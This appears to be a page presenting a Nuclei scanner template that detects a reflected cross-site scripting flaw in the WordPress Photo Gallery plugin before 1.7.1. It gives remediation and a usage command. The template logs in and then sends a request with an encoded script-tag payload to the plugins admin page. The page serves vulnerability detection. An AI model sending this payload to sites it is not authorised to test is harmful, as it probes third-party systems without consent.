Photo Gallery < 1.7.1 - Cross-Site Scripting

ID: photo-gallery-xss

Severity: medium

Author: ritikchaddha

Tags: wpscan,wp,wp-plugin,wordpress,xss,photo-gallery,authenticated

Description

The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting.

YAML Source

id: photo-gallery-xss

info:
  name: Photo Gallery < 1.7.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The plugin does not escape some URLs before outputting them back in attributes, leading to Reflected Cross-Site Scripting.
  remediation: This is resolved in release 1.7.1.
  reference:
    - https://wpscan.com/vulnerability/e9f9bfb0-7cb8-4f92-b436-f08442a6c60a
    - https://wordpress.org/plugins/photo-gallery/advanced/
  classification:
    cpe: cpe:2.3:a:10web:photo_gallery:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: 10web
    product: photo_gallery
    publicwww-query: "/wp-content/plugins/photo-gallery"
  tags: wpscan,wp,wp-plugin,wordpress,xss,photo-gallery,authenticated

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        GET /wp-admin/plugins.php?%22%3E%3Cscript%3Ealert%28%2FXSS%2F%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '><script>alert(/XSS/)</script>'
          - 'Installed Plugins'
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100812506ef68eb5b9f40f0951b7583a9606ef3c272f28113508111ec77eef18bdb022100a2f3a9483e0590d36b6b2238b52430db8f1c91770f4c04957214d73a8b0c0bae:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/photo-gallery-xss.yaml"

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